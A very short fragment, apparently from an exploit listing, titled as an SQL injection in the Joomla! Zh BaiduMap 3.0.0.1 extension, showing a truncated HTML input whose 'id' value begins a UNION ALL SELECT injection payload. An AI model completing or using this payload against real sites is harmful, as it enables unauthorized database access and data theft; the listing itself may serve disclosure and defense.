Joomla! Zh BaiduMap 3.0.0.1 SQL Injection

input name="id" value="-11 UNION ALL SELECT...